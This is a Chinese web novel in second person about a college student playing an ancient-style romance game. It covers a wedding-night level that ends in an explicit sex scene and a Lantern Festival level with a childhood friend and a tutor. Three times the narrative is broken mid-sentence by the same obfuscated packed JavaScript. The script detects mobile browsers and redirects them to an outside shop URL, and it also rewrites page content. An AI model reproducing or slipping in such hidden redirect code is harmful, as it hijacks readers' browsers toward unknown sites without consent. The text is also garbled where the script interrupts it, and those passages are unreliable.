《母胎单身,但攻略美男无数》 1. 成婚 你是母单了近二十年的普通大二学生,在好友的安利下,决定去玩一款最近风很大的名为良缘的古风乙女攻略游戏。 甫一进入游戏,你的眼前便被一片红霞似的云纱罩住。 你眨了眨眼,嘶了声,顿感头顶像顶了座山,稍一偏头,耳边便传来阵阵珠玉轻撞的清脆声响。 这什么情况? 在你试图搞明白自己现下的处境时,一道AI感很重的电子声忽然响起。 “欢迎玩家来到《良缘》游戏世界。” “今天是你与威远侯长子洛霖的大喜之日,请在一炷香内将亲密度攻略至百分之三十。” 一炷香? 一炷香是多长时间?能给个提示吗? 你在现实世界里连男人的手都没摸过,这一上来居然婚都结了,这跳跃幅度也太大了吧。 你还在吐槽呢,下一刻,便有只素白的手推开了紧闭的房门。 攻略开始了。 一群人哗啦啦的从门外走进。 为首穿着大红喜服,身材颀长的便是本次攻略世界的男主洛霖。 后头跟着的分别是两个喜娘,四个丫鬟。 待洛霖走到你面前,喜娘便顺势递上红秤杆,献上祝词:“秤杆挑起红盖头,新人携手共白头。” 他挑起你的红盖头,像是挑起了一片云。 拨云见日,你眼前终于恢复清明。 而映入眼帘的,是乌发雪肤,是墨画的眉,漆亮的眼,是新月登上柳梢头、寒酥落在青枝上的清丽绝俗的脸。 你浑身一颤,魂飞九天。 这……这也太帅了吧!!! 你发出无声的土拨鼠尖叫。 洛霖坐到你身边。 喜娘撒花帐,递合卺酒。 你与洛霖交杯饮酒,动作僵硬到不行。 一切恍如梦中。 仪式结束后,喜娘领着丫鬟退出房中。 房里,只剩下你和洛霖。 气氛有些沉默。 你第一次跟人结婚,也不知道该做什么才好。 而洛霖却是道:“夜深了,你早些休息吧。” 说完后,便径自走向侧边的柜子,拿出一本书来,又走到一张雕篆精美的黄花梨木桌前坐下,然后…… 看起了书。 呃…… 你们,不是结婚了吗? 今天,不是你们的大喜之日吗? 他居然扔下你这个准新娘不管,自顾自的看起书来了? 难道……这也是古代结婚的习俗中的一种? 屁嘞…… 就知道这个攻略游戏没那么好完成。 你还记得你本次的任务,是要在一炷香之内把亲密度干到百分之三十。 一炷香是多久你不知道,现在过去了多久你也不知道,你坐在床上,干眼瞪着对面那个看起来岁月静好的美男,却是一点办法都没有。 亲密度,要怎么样才能算得上是亲密呢? 游戏没有给出提示,你只能苦思冥想。 思来想去,你想,不管怎么样,先打破沉默,争取话语权,才能有进一步发展。 “那个……” 你刚开口,眼前却突然一黑。 你又回到了游戏开始的时候。 提示音再次响起。 “每个攻略位面只有三次机会,一旦失败,便无法读档重来。” “您已进入第二回合。” 你猛地掀开盖头,不敢置信。 靠,这就第二回合了? 你还什么都没干呢! 很快,紧闭的房门再次被推开。 你赶紧把盖头蒙好,坐回原位。 紧接着,洛霖和喜娘丫鬟走进房间。 又是一样的流程,一样的话术。 等喜娘丫鬟退下后,你和洛霖又像上次那样无言对坐。 可这一次,你不打算坐以待毙了。 你要先发制人。 “那个!” 不知道是不是太紧张,你一张嘴,发出的声音明显要比平时拔高很多,像只被掐住命门的鸭子。 洛霖向你投来疑惑的目光。 你涨红了脸,“那个……” 声音弱下去,视线在偏移。 “那啥……要不,聊会儿天呗?” 雄赳赳气昂昂的开了个头,不过两秒钟,就给打回原形。 亲密的方式有很多种,聊天……应该也算增进亲密的方式之一? 洛霖微微一怔,旋即笑道:“好。” 聊天……说是聊天,该聊什么才好啊…… 虽然是游戏,但四舍五入,洛霖跟你也算是陌生人。 而对一个陌生人侃侃而谈,向来不是你的长处。 “你要聊什么?” 这次,洛霖没有起身找书看,而是坐在你身旁,静静地等着你开启与他的聊天。 你低着头拽着红色的裙摆,“呃,我……头一次结婚。” “嗯,我也是头一次。” “是吗?哈哈,真巧。”你干巴巴笑道。 说完,就恨不得甩自己两巴掌。 我头一次结婚。 我也是。 这特么是什么天崩开局啊! “确实是……巧。” 洛霖中间诡异的停顿了一下,或许他也觉得这样的对话过于奇怪吧。 你感觉自己的脸有些红了,又不得不将对话进行下去。 “你,为什么跟我结婚啊?” 游戏只交代了今天是你和洛霖的大喜日子,其他的并没有做过多描述。 而对于这个问题,洛霖做出了简单的回答。 “父母之命,媒妁之言。” 嗷,原来不是因为爱,单纯就是爹妈安排的。 你问:“他们让你结,你就结了?” 你顺嘴就问了出来,问完之后,又深感不妥,觉得这问得颇有抬杠的意味。 洛霖却并不觉得有什么,只答道:“不待父母之命,媒妁之言,钻穴隙相窥,逾墙相从,则父母国人皆贱之。” 你听得云里雾里,“啥意思?” 洛霖笑道:“意思是,子女的婚姻应由父母做主,媒人介绍,否则的话会叫人看不起。” 你感觉像上了一堂语文课,“那父母媒人让你结婚的那个并非良人,而是个地痞无赖呢?那你也照结不误么?” 洛霖显然没想到你会这么问,或者说,他从未往过这方面去想。 说了会儿话,你也没那么紧张了,“千万别跟我说,你要嫁鸡随鸡,嫁狗随狗啊。” 顿了顿,你又自顾自的乐呵呵道:“不对,换在你身上,应该是娶鸡随鸡,娶狗随狗。” 洛霖无奈道:“父母有过,下气怡色柔声以谏,谏若不入,起敬起孝,悦则复谏。” 你听得头大,“这又是什么意思?” “意思是,父母若有过错,子女应柔声悦色劝谏,父母若不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127373|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接纳,则应尽责尽孝,等到父母心情愉悦时,再次劝谏。” 也就是说,他爹妈如果要他娶个地痞无赖,他虽然不同意,但也不会大吵大闹,而是好声好气的去告劝父母。 如果父母不听,则做低伏小,等到父母心情好了,再去劝告。 “这是哪本破书说的,简直鬼话连篇。”你嘀咕。 洛霖道:“这话出自《礼记·内则》。” “哎。”你忽然长叹一口气。 这回换洛霖问你:“怎么忽然叹起气来?” 你将他望了一望,“原先我见你出尘绝世,以为你是个不沾凡俗的神仙,现在看来啊……” “现在看来什么?”洛霖好奇。 “现在看来,更像个私塾里的教书先生。” 洛霖一怔。 “怎么了吗?”你疑惑。 洛霖摇摇头,道:“没什么。” 又是相顾无言。 洛霖朝门外看了眼,说道:“天也晚了,你早点歇息吧。” 得。 又一次攻略失败。 这是你第二次失败了,你还有最后一次机会。 红盖头下,你万分郁闷。 乙女攻略游戏,玩的不就是脸红心跳吗?怎么到了你这儿,就这么挫败无力呢? 在上一轮中,你明显感觉到了,你和洛霖的关系在那段略显尴尬的对话中渐渐有了好转,可到后面为什么又失败了呢? 难道就因为你说他像教书先生? 那他也太小气了吧! 在这个位面中,你和洛霖虽是新婚夫妻,但他娶你完全就是听从了父母的命令,而非出自本心。 因此,你们之间除却那层浮于表面的新婚关系外,并无实质的感情。 从陌生到认识再到亲密,在现实世界中还能循序渐进,然而在游戏世界里,你却只有一炷香的时间。 你为此感到犯难,从上一次失败里,你隐约能够感觉到,洛霖的性格有些敏感,若是按照上次的方法,通过聊天跟他拉近关系,指不定又会不经意说错什么话而误踩对方雷点。 所以,聊天这个方法是行不通了。 那不聊天的话,你还能干嘛? 难道,霸王硬上弓? 你被自己雷到了。 门又一次被推开。 这是第三次了。 喜娘递过红秤杆,洛霖揭开你的红盖头。 你抬头看他,他依旧清丽绝俗,出尘绝世。 你却有些怨念,别人说,要猜透女人的心思就如同海底捞针。 你说,要猜透洛霖的心思,那就是太平洋里捞针。 你的目光钉在洛霖身上,一瞬不瞬。 直到他到你身旁坐下,你也仍旧盯着他不放。 你这放在古代颇显大胆的举动,惹得喜娘和身后的丫鬟都不由得稍稍笑出了声。 你没有察觉,仍沉浸在自己的怨念里。 喜娘递上合卺酒,祝道:“共饮合卺酒,今生永相守。一口甜,两口蜜,夫妻恩爱不分离。” 你与洛霖交杯饮酒。 你盯着他,忽然咦了一声。 洛霖愣了愣,看你。 你也眨眨眼,看他。 两个人的距离很近,你能清楚的闻到他身上清浅的香气。 “你……脸红了?” 洛霖白腻的肤色上,隐隐浮现一抹红霞。 你直截了当的说出,让他脸色更加红了。 2. 通关 红得就像你红盖头的颜色,红得叫人心醉。 喜娘掩唇偷笑,“少夫人,公子这是害羞了呀。” 害羞?为什么? 前两次你们喝合卺酒,他都没害羞啊。 洛霖匆匆将酒喝了,你也不得不一饮而尽。 喝过合卺酒后,喜娘丫鬟又道了几句祝词,便轻手轻脚的退了出去。 门刚关上,洛霖便猛地起了身。 这回竟然一句话都不说就要去看书了吗! 你大惊,连忙伸手拉住他。 洛霖也不知怎的,失魂丢魄了似的,明明你拉他也没用力,他却还是被你拉了趔趄,脚一崴,竟直直往后倒了去。 你下意识想伸手扶住他,却被他连带着一起倒在了床上。 珠玉相撞,噼里啪啦。 你们四目相对,眼底倒映着彼此。 真是意想不到的展开。 洛霖挣扎着要起身,喜服上繁复的针线却勾住了你的发饰。 他急着想解开缠绕的线条,却越解越乱。 慌里慌张的样子,全然没了前两次的气定神闲。 你似乎有点悟了。 你伸手握住他的手。 他一顿。 你慢慢靠近。 他呼吸猛然停滞,却没往后退。 你再靠近,更近了。 他浑身僵硬。 你观察他的神色,心里也打着鼓,却大着胆子碰了一碰他的唇。 红霞,彻底醉了。 你双手握住他的肩膀,顺势将他推到在床,双腿岔开,跨坐在他身上。 然后,俯下身,吻上去。 你不是很会吻,仅凭借记忆中看过的几个颜色片段,懵懵懂懂的吻着。 诶,这时候要伸舌头吗…… 嗯……会不会有点太快…… 洛霖的嘴巴不厚,却很软。 心神一动,咬了一口,像是果冻一般,尝起来有淡淡的酒香,是因为刚才喝了合卺酒的缘故吗? 洛霖呼吸复苏。 再不呼吸,他就要喘不过气了。 他急促的呼吸着,仿佛干涸的大地渴求一场春雨。 春雨细如丝,潮湿了他的眼底,润活了红被上的鸳鸯。 垂下的珠玉噼里啪啦,鼓动心房。 洛霖的手攀扶在你腰侧,略一用力,将你翻在了身下。 “欸——” 你皱了皱眉。 “怎么了?”他关切的问。 你抬手摸着头上的发饰,“……压着头发了。” 洛霖一顿,笑出了声。 “来,我帮你把发饰拆了。” 棱花镜影影绰绰照着你们的身影。 你坐着,洛霖站在你身后。 素白修长的手温柔的将你头上的发钗一支支拆下。 你拿了一支在手中反复观看。 金灿灿,明晃晃。 你眼露精光。 洛霖问道:“怎么了么?” 你拿着钗子转身问他,“这个,是金子做的吗?” 洛霖手中的动作顿住,“应该……是吧……” “我看就是!”毕竟设定里,洛霖的身份可是侯爷之子,侯爷的儿子娶老婆,用的东西还能有次? 你嘴巴都要笑开了花,“这拿出去卖,能值不少钱吧?” 洛霖好笑道:“你要卖吗?” “我倒是想,只可惜……” “可惜什么?” 可惜这里只是游戏世界,而你的时间也仅有一炷香。 一炷香的时间,在前两次里过得很快,这次却过得很漫长。 长到洛霖已经帮你把发钗都解下,时间还没过完。 你站起身,脑子一抽,“接下来要做什么?” 洛霖被你问住了。 你比了比你和他的身高,发现自己才到他肩膀处。 “我也来帮你拆头发吧。” 洛霖迟疑着,摇摇头。 “那……”你脑子又抽了,“我给你脱衣服?” 洛霖:“……” 正所谓洞房花烛夜,一刻值千金嘛。 但好像,你也没真的想怎么样。 可是,洛霖已经扶上你的腰。 窸窸窣窣。 窸窸窣窣。 腰带一点点抽开。 繁复的衣服件件脱落。 你真正感觉到,夜凉如水。 可是,明明窗门都是紧闭的。 屋子里也点着温暖的烛火和袅袅的熏香。 夜怎么会凉? 你神游天外,竟还想着,在游戏里,你穿的应该是肚兜吧…… 你双脚一空,这才回神。 是洛霖将你抱了起来。 你抱着他的肩膀,身体曲线紧紧贴着他。 “你干嘛……!” 你小声的,惊惧的。 洛霖看着是天仙派的人物,力气却很大。 他抱着你走到床。放下。 这次,他在上,你在下。 床账缓缓落下。 夜深了,该是歇息的时候。 这才真正是该歇息的时候。 红帐里的红是昏暗的红。是另一个世界。 你躺着,浑身不自在,又起身。 洛霖看着你,你看着他。 你越过他的肩膀,看向红帐外的一方天地。 古色古香的陈设,比影视剧里的还要精美几分。 诶。 一炷香,到底是多长? 怎么好像过了很久,也没见到个头。 游戏到底通关了没? 亲密度达到百分之三十了吗? 如果没达到,你就没有第四次机会了。 失去了这次机会,你还能再见到洛霖么。 你脑袋里闪过很多疑问。 一只蝴蝶从帐外飞过。跌跌停停,半空中画出一条优美的曲线。 你想追出去,却被洛霖按住。 你眨眨眼。 事情的走向开始不太对了。 文风也开始变得奇怪起来。 洛霖皱眉。 他眉毛也是好看的,所以皱起眉的时候,人也是好看的。 “你走神了?” “没……”你心虚。 洛霖叹气,“你……若是不喜欢我……” 你急忙打断他,“不,我喜欢你!” 如果他觉得你不喜欢他,亲密度就没法儿拉了。 你认真的,“我想跟你变得亲密。”百分之三十的那种亲密。 洛霖愣住,又红了脸。 脸红了又红,反反复复。 终于,他闭着眼去亲你。 疏影横斜水清浅,暗香浮动月黄昏。 他手里像捏了块棉花糖,又柔,又软,可以随意捏成各种形状。 明明那样一只素白的手,皮肤接触到时感受的温度,却是那样炙热。 火一样的温度,让你浑身起了汗。 身为古人,身体发肤受之父母,轻易不能剪发。 长长的发披在身后,被汗水打湿,又一绺一绺的黏在背上。 你有点不舒服。 像有虫子在背上攀爬,酸酸痒痒。 不止背上,脖子也不舒服。 有东西在咬你,力气一会儿大,一会儿小,没个均匀。 嗯……胸口也不舒服。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127374|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你挣扎的踢了踢腿,却被人分开固定在两侧。 有东西硌着你。 没吃过猪肉,也见过猪跑的你一下反应过来。 这这……这好像有点过火了! 虽然是游戏,但却比现实还现实。 现在说不要,还来得及吗? 你不知道,但还是尝试着说了声,“……不要。” 诶,声音好像有点奇怪。 变得不太像你了。 你平时说话……没那么夹吧? 洛霖也同样汗涔涔的。 “别怕。” 不是怕……是…… 好吧,确实,也有点怕…… 你原先连男人的手都没摸过呢,现在不仅跟人结了婚摸了手,其他该摸的不该摸的也都摸了。 东想西想,还是痛了一痛。 没有想象中的痛,但还是不怎么舒服。 洛霖试着动了下,你立即绞紧他。 他低低抽了口冷气,差点把持不住。 “我……我缓会儿……”你说。 “嗯……”洛霖低声应了句。 可他到底没让你缓太久,不过几秒,又开始了。 你气得给了他两拳。 视线在摇晃。 世界在摇晃。 你恍惚中问他,“一炷香,是多久?” “怎么……” 你攀着他,摇摇头,语气似有抽泣。 “没什么,就是觉得……时间好久……” 万千景象慢慢淡去。 古色古香的房子不见了。 红帐不见了。 洛霖也不见了。 你还没回过神。 提示音响起。 “恭喜玩家顺利通关,您本轮的任务完成度为百分之九十八。您当前的游戏等级为Lv.3,任务完成度越高,等级升级越快。升至Lv.15后,系统将为您开展新地图。” 紧接着,系统又跳出一条信息。 “由于您超额完成本次任务,系统将额外为您发送道具大礼包,请您在系统邮件中点击签收。” 你点开游戏页面查看。 说是大礼包,其实只送了三种。 一瓶对玩家无效的,无色无味的昏睡药水。 一张可显示人物位置的位面地图。 一粒能将自身存在感降低为零十分钟的降息丸。 你将道具收入背包后,便退出了游戏。 *** “小春,游戏体验怎么样,好玩吗?” 第二天早上八点,英语课。 舍友许曼婷坐在你旁边,笑嘻嘻的问你。 你很困,眼睛有点睁不开。 “嗯……应该,还好吧……” 许曼婷说:“什么叫应该还好?” 你来了点精神,“就是……你玩游戏的时候,一般会有什么任务?” “任务啊……任务都是很小清新很少女的那种啦,比如说,给喜欢的人送香囊啦,上元夜约他出去逛花灯什么的。” “那过程呢?会不会有那些啊……” 许曼婷不明所以,“那些是哪些?” 你不知道该怎么形容。 总不能直截了当的说有那些酱酱酿酿的事情吧。 “就什么亲密的行为啊……之类的……”你很隐晦的。 许曼婷唔了声,“没有啊,这就是攻略游戏,大部分时间都是在做任务跑剧情,而且游戏公司也要考虑到有部分玩家的年纪比较小吧,一般都不会出现什么很亲密的行为,顶多就是牵个小手啦。” “啊……” 这样的吗? 怎么跟你昨晚玩的不太一样? 3. 第二关 许曼婷来了兴致,“你昨晚接了什么任务?” 你没说实话,“也是给心上人送香囊什么的……” “后面的两位同学,上课时间请不要交头接耳。” 完蛋,被点名了。 你和许曼婷面面相觑,不敢再说话。 英语课实在无聊,你一边听一边打瞌睡。 熬到下课,你跟许曼婷去饭堂打包了份螺蛳粉,然后才回宿舍。 也许是在课堂上睡够了,酒足饭饱后,你躺在床上半点睡意也无。 下午没课,你翻来覆去,想着反正也没什么事,便决定先玩会儿游戏。 “今天是上元节,请赶在天黑前将香囊送给你真正喜欢的人,并邀他共赴花灯会。” 你站在院子里,茫然的看着手中那个丑不拉几的香囊。 今天早上刚听许曼婷说她的任务是送香囊、上元节逛花灯,中午你的第二关任务就成了这个。 是天底下真有这样凑巧的事,还是你们的对话被手机监听了? 你哭笑不得。 一个少年风风火火闯进院子。 人未到声先至。 “姐!姐!” 少年大声叫喊,活力十足得就像初生的幼崽。 你循声去望,便见着个穿着紫衣、约莫十四五岁的半大少年。 他见着你,眼睛顿时一亮,飞快跑到你面前。 你这次设定里居然有个弟弟,这感觉还挺新奇。 “跑这么急做什么,也不怕摔了。”你看他满脸是汗,便伸手去给他擦了擦。 弟弟眷恋的蹭了蹭你的手。 ……更像只幼崽了。 你顺手在他柔软通红的脸蛋捏了一把。 “姐,天都快黑了,你真的不打算去赴萧大哥的约吗,难道你真就那么……” 你敏锐的捕捉到关键词,“萧大哥?” 出现了。 这个萧大哥,很可能就是你本轮任务中的心动对象。 “是啊。”不知怎的,弟弟忽然泄了气,“萧大哥跟我们自小一块儿长大,他人好又风趣,从来有什么好吃的好玩儿的,都念着给我们也带一份儿。他对你的心,整个清河镇的人都知道,你明明也很喜欢萧大哥的。” 你好像看见幼崽的耳朵随着心情的低落而耷拉下来。 你对萌萌的生物向来没有办法,你揉了揉弟弟稍显凌乱的头发,想开口安慰他,却不知道该说什么。 弟弟抬起头,用又期待又忐忑的眼睛直直望着你,“姐姐,难道,我们不能像从前那样好了吗?” 你试探的问:“你……很喜欢萧大哥么?” “嗯!”弟弟用了点头,“喜欢!我和姐姐一样喜欢萧大哥!” 这个萧大哥到底何许人也,竟能博得弟弟如此喜爱。 你暗自感叹,眼见天也快黑了,便没想那么多,同弟弟说:“既然这样,那我们就一块儿去找你萧大哥吧。” 弟弟眼睛一亮,“真的么!” 你点头,“是啊,你萧大哥在哪儿,我们快去找他吧,免得他等久了。” “他就在鸳鸯桥!我带姐姐过去!” 弟弟满血复活,拽着你的手就往外冲,好像生怕你下一刻就会反悔似的。 你平时就不爱运动,学校每年一次的八百米体测就能要你大半条命,现在弟弟跑得这么快,你一时还真跟不上他的速度。 “诶,慢点!慢点!” 撒了欢的弟弟根本听不进你说的,只铆足了劲儿往前冲。 正当你们预备冲出门的时候,斜里却突然出现了个人。 “小满。”他唤道。 弟弟脚步霎时停住,不情不愿的转身向那人行了一礼,“先生好。” 原来弟弟叫小满。 先生……这应该小满的老师? 你直愣愣的看向先生,不确定自己要不要也行礼。 这位先生身姿挺拔,气质如松,长相虽不如上一关的洛霖那般令人一眼忘俗,却也是十分的英俊。 他微微颔首,“我平素教导你,君子有九容,分别曰之为何?” 小满像霜打了的茄子,低头道:“……为足容重,手容恭,目容端……口……口容……” 他背不出了。 先生面不露色。 小满越显心虚。 好家伙,这就是被老师突击考察的可怕吗? 你见小满的头都快低到地上去了,心生不忍,“他还小,背不出就算了吧。” 先生朝你看来,目光幽微。 你硬着头皮说:“今天是上元节,这大过节的,就放过他一回吧。” 先生叹了口气,“也罢。” 顿了顿,话锋却是一转,“小满,天色已晚,你这样横冲直撞的跑,就算不念着自己,难道也不顾及小姐么?你有没有想过,她若因跟不上你的步伐而不慎跌倒该怎么办?” 小满面红耳赤,“我……我着急带姐姐去找萧大哥……” “什么?”先生皱眉。 忽地,小满记起了什么,一扫颓丧,炫耀似的说:“姐姐答应了今晚要去赴萧大哥的约,我着急带姐姐去找萧大哥,所以才跑那么快的!” “是么?”先生轻声问。 不知是问小满,还是问你。 小满挺起胸膛,“当然!姐姐方才亲口跟我说的!” 小满转头向你求证,“是吧,姐姐?” 你迟疑的点点头。 小满又道:“先生,萧大哥还在鸳鸯桥等我们呢,我们要赶紧过去了。” 先生沉默几秒。 “去吧。” …… …… 东风夜放花千树,更吹落,星如雨。宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。 这是你曾在书中读到的有关上元节的描写,那时你的体会并不深刻,直到如今亲眼看到了这灯火如昼,游人如织的场景,才深感诗词里所言非虚。 你和小满约莫走了半个钟头,才终于走到鸳鸯桥。 鸳鸯桥,一座横跨溪河,连接两地的古老石桥。 你和小满逆着人流,拾级而上,还没走上桥头,隔着段路,就见到有七八个姑娘语笑嫣然的围着个衣服华美的青年。 你出于好奇,往那边多看了一眼。 这一眼,却正正对上青年那双多情的桃花眼。 “小春!” “萧大哥!” 青年和小满的声音同时响起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127375|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 青年扔下那群姑娘,迫不及待的朝你跑来。 小满也拽着你的手小跑向他。 “萧大哥,瞧,我把姐姐带来了!”小满得意洋洋,“我说过我会把姐姐带来的,你先前还不信,现在总归信了吧?” “嗯……” 等到了你面前,青年却不大敢看你了,只偏头揉了把小满的头发。 “我不是不信你,我是不信我自己。” “不管怎么样,现在姐姐都到你面前了,你就是不信也得信了。” 他们两个像在打哑谜。 而你猜不透谜语,只好学小满叫了声,“萧大哥。” “还是叫我萧玉珩吧。”他眨眨眼,说:“你一叫我萧大哥,我就觉得有事发生。” 你:“……” 你:“哦,萧玉珩。” 萧玉珩拍拍胸膛,顺了口气,“诶,这才像我认识的林小春。” 你没忍住,丢了个白眼。 这人说话怎么欠欠的呢。 小满笑嘻嘻说:“萧大哥,刚刚你在干嘛呢,怎么那么多人围着你转?” “呃,没什么,问路而已。” 问路? 怎么感觉不太像。 下一秒,方才围着萧玉珩转的几个姑娘中的一个大胆上前。 “公子,你方才说你在这里等人,等的就是这位姑娘吗?” 萧玉珩看了一看你,微微笑道:“是。” 那位姑娘也笑道:“今天是上元节,我们姐妹几个原是约着出来逛灯会的,没想到灯会还没逛着,就先被鸳鸯桥上的这位公子迷了眼。我们打赌一起过来送香囊,想看看这位公子到底会收下谁的,他却说他在等一个人。” 你愣了愣。 “我们又问,你在等谁?他说他在等他心爱的姑娘,可是不知道那位姑娘到底会不会来。当时他的样子看上去可落寞啦,直到你来了,他整个人才像又活过来一般。” “情绪转变犹如潮起潮落,心之所系唯姑娘而已,可想姑娘在公子心中分位极重。”她递上一枚香囊,“这香囊是我所做,今夜想借此机会赠与姑娘、公子,希望你们永结同心,白头偕老。” 你彻底愣住了。 小满兴奋的拽了拽你的袖子,“姐姐,快收下呀。” 你看看小满,又看看萧玉珩。 余晖下的萧玉珩面如白玉,颜若朝华。 他静静等待你的决定。 你接过香囊,认真道谢。 心意送达,那姑娘也不再多留,道了再见后便和自己的姐妹一同离去了。 你没忘记你还有任务,在收下香囊后,也把开局出现在手里的那个香囊送给萧玉珩,说:“萧玉珩,这个,送给你。” 萧玉珩有些意外,他垂下眼眸看着香囊,鸦羽似的半扇睫毛在他眼睑处投下一片温柔的阴影。 片刻,他抬头朝你露出一个灿烂的笑容,“好啊。但,我要小春亲手为我系上。” 你直接塞到他手里,“自己系!” “不嘛,我就要小春帮我系。”萧玉珩软声哀求。 你不吃他那套,“自己有手有脚的,干嘛要别人帮你系。” “因为小春亲手给我系的香囊才更香、更好看。” 4. 攻略错人了? “胡说。” “我才没胡说,我是认真的。” 萧玉珩一把抱住你,“小春,就帮我系嘛,好不好。” 你脸一红,想挣开却挣不过他,只好用力拍他手臂,“放开,小满还在这儿呢!” 小满做鬼脸,“萧大哥这么大个人了还撒娇,羞羞羞!” “听到没有,小满都说你了,快放开我。” 萧玉珩厚脸皮道:“撒娇怎么了,你要不答应我,我就一直抱着你一直撒娇。” 你无奈了,“好,我给你系。系完之后,我们一起去逛花灯吧?” “好。” “那你先松开我。” 萧玉珩依言将你松开,你却趁着这个机会,立马拉起小满的手向前跑。 “上当了吧!要系你自己系,我才不给你系呢!” 人群中,你笑得肆意。 小满很快反应过来,“姐姐,你骗萧大哥,你耍赖!” “是他耍赖在先的,我不过以其人之道还治其人之身!” 人潮拥挤,你和小满跑得不快,萧玉珩两步并作三步,很快就追上了你们。 他牢牢抓住你的手,“小春,你什么时候变得这么坏了。” 你笑得喘不过气,“跟你学的。” “我可没你这么坏。”萧玉珩五根手指嵌入你的指缝,十指相扣。 “那你以后跟我学怎么变坏,不过要交学费。” “学会了之后欺负你吗?那我可舍不得。” “咦——”你怪叫,“萧玉珩,你说话真叫人牙酸。” “就是就是。”小满在旁应和。 萧玉珩笑眯眯的凑近你,“是吗,哪颗牙酸了,张开嘴让我看看。” 你躲开,“不用看了,我全部牙齿都给你酸倒了。” 这一夜,你们玩得很开心。 直到小满累到趴在萧玉珩背上睡着了,你们才慢慢打道回府。 回去的路上,萧玉珩小声叫住你。 “小春。” “嗯?” “……我能,亲一亲你吗?” “怎么,突然这样说这些。” 萧玉珩笑着,自从你今晚出现在鸳鸯桥的那一刻起,他就一直笑着。 可这一次,他的笑容里,竟有些哀伤。 “我真的很高兴你今晚能来赴约,可是,就算你明明站在了我面前,我还是觉得很不真实……” “所以,能亲一亲我吗,让我感觉到,你是千真万确的。” 他望着你,带着希冀的,祈求你的一个吻。 他是那样脆弱,仿佛一触就破的泡沫。 你心生不忍,想说什么,游戏却在此时重开。 游戏重开意味着你的攻略失败。 你不解,明明你上一回中明明将香囊送给了萧玉珩,也邀他共赴了花灯会,你们甚至玩得很开心,怎么任务还失败了呢? 你想问问系统,可系统却没有给你任何回应,只是机械的提示你还有两次攻略机会。 你坐在游戏开始时的院子中,看着又回到手里香囊,心情十分郁闷。 “姐,姐!” 小满急匆匆的声音再度传来。 他跑到你跟前,满头大汗。 这次,你还是伸手给他擦了擦汗。 经历过上一局,你对这个人小鬼大的弟弟还是很有好感的。 小满蹭蹭你的手,说了和上一局同样的话。 “姐,天都快黑了,你真的不打算去赴萧大哥的约吗,难道你真就那么喜欢那个姓方的吗?” 你知道他要说什么,所以静静听着,然而…… 那个姓方的? 谁? 你眉头一皱,意识到事情不对,“姓方的?” 小满撇了撇嘴,“对不起嘛,我知道我这么称呼很不礼貌,可是我就是对他喜欢不起来。” 你纠结的不是这个,“姓方的是谁?” 小满有些不解你为什么这么问,“姓方的就是方鸿渐啊。” 你上局听到萧大哥这个关键词后,就打断了小满的话,因此也就漏掉了他原本要说的后半段内容。 你好像懂得了上局失败的原因了。 原来,从开始,你就攻略错了人。 你真正的攻略对象,是方鸿渐。 这个游戏的独特之处在于,它每次发派任务时,只有简短的一句话,从不会对位面的人物背景做过多描述。 因此,玩家若想顺利通关,则需要从位面中出现的人或事自行去摸索出一条故事梗概。 你有了点方向,也知道了小满就是这一关的重要突破口。 “你为什么要叫他姓方的,你不喜欢他吗?”你试探性的问小满,想从他这里知道更多有关方鸿渐的信息。 小满身子一侧,有些闹别扭,“我讨厌他。” “为什么?” 不喜欢和讨厌虽然都是在表达对一个人的态度,可是讨厌相比不喜欢起来,却是要严重多了。 这似乎是件伤心事,小满回忆起来,眼睛里渐渐蓄满了泪水。 原来,方鸿渐就是上局中出现的先生。 去岁,你和小满的父亲进城拿货,回来的路上不幸遇上山贼,货物被洗劫一空不说,还身负重伤,痛不能起。 好在后面父亲被路过的方鸿渐所救,接到家里休养了几天,这才捡回一条命来。 在方鸿渐家里休养的几天时间里,父亲得知方鸿渐是通过了乡试,预备明年上京赴考的举子,见他家境清贫,生活拮据,为报答他的救命之恩,便邀他前来家中小住,安心备考,并承诺来年开春时,会给他一笔银子当做路费。 方鸿渐不肯答应,言明救人不过举手之劳,当不得如此厚谢。 方鸿渐施恩不图报之举深得父亲青睐,他不肯受人回报,父亲便又想了个托词,说:“家中有一顽子,已是总角之年,平素却只顾与长姐疯玩,不爱习书写字。君随我家去,闲暇之余代我管教一二,一来可令顽子成器,二来君也可赚些酬金,以备来年赴考。” “还请万万不要推辞。” 方鸿渐便这样来到了你家中,并暂且担任了小满的教书先生。 小满起初还没那么讨厌方鸿渐,直到他发现你在日复一日的相处中,暗自喜欢上了方鸿渐。 有了心上人的你,不自觉冷落了青梅竹马的萧玉珩。 萧玉珩早就倾心于你,你的态度令他黯然神伤。 